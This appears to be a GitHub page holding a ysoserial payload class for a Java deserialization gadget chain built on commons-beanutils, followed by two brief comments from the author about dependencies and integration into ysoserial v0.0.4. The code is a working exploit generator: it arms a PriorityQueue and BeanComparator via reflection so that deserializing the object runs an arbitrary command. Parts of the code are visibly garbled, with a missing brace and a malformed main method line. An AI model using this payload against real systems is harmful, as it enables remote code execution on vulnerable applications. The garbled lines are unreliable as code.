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commons beanutils gadget chain
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator<Object> comparator = new BeanComparator<Object>("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
public static void main(final String[] args) throws Exception {, args);
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frohoff commented Feb 24, 2016

Note that while this requires commons-logging and commons-collections, the latter can be a version patched against the original CommonsCollections1 gadget chain.

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frohoff commented Feb 24, 2016

Integrated into ysoserial v0.0.4

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